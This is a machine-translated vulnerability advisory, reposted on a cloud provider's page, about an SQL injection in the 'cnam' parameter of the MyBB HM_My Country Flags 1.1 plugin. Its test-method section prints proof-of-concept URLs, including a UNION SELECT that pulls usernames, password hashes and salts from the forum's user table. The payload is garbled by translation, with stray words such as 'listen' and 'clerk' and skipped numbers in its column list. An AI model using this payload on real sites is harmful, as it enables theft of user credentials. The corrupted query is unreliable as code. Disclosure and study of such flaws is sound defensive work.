MyBB HM_My Country Flags plugin 'cnam 'parameter SQL Injection Vulnerability

Source: Internet
Author: User

Release date:
Updated on:

Affected Systems:
MyBB HM_My Country Flags 1.1
Description:
--------------------------------------------------------------------------------
Bugtraq id: 57056
 
The HM_My Country Flags plug-in allows the flag to be displayed in postbit and the user list to be displayed based on nationality.
 
HM_My Country Flags: inc/plugins/hmflags in version 1.1. php does not correctly verify misc. the validity of the "cnam" parameter value in php is used in SQL queries. Any SQL code can be injected to operate databases.
 
<* Source: JoinSe7en

Link: http://www.exploit-db.com/exploits/23624/
Http://secunia.com/advisories/51644/
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Http://www.example.com/forum/misc.php? Action = hmflags & amp; cnam = Belgium & #39; & amp; pf = 5
 
Http://www.example.com/forum/misc.php? Action = hmflags & amp; cnam =-Belgium & #39; + union select 1, group_concat (username, 0x3a, password, 0x3a, salt, 0x3b), 3,4, 5, 6,, 45, 46, listen, 49,50, 51,52, 53,54, 55,56, 57,58, 59,60, 61,62, 63,64, 65,66, 67,68, clerk, 77,78, 79,80, 81,82, 83,84, 85,86, 99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164, + FROM + mybb_users WHERE uid = 1 -- + & amp; pf = 5

Suggestion:
--------------------------------------------------------------------------------
Temporary solution:
 
If you cannot install or upgrade the patch immediately, NSFOCUS recommends that you take the following measures to reduce the threat:
 
* Disable the HM_My Country Flags plug-in.
 
Vendor patch:
 
MyBB
----
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://mods.mybb.com/view/hm-my-country-flags

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.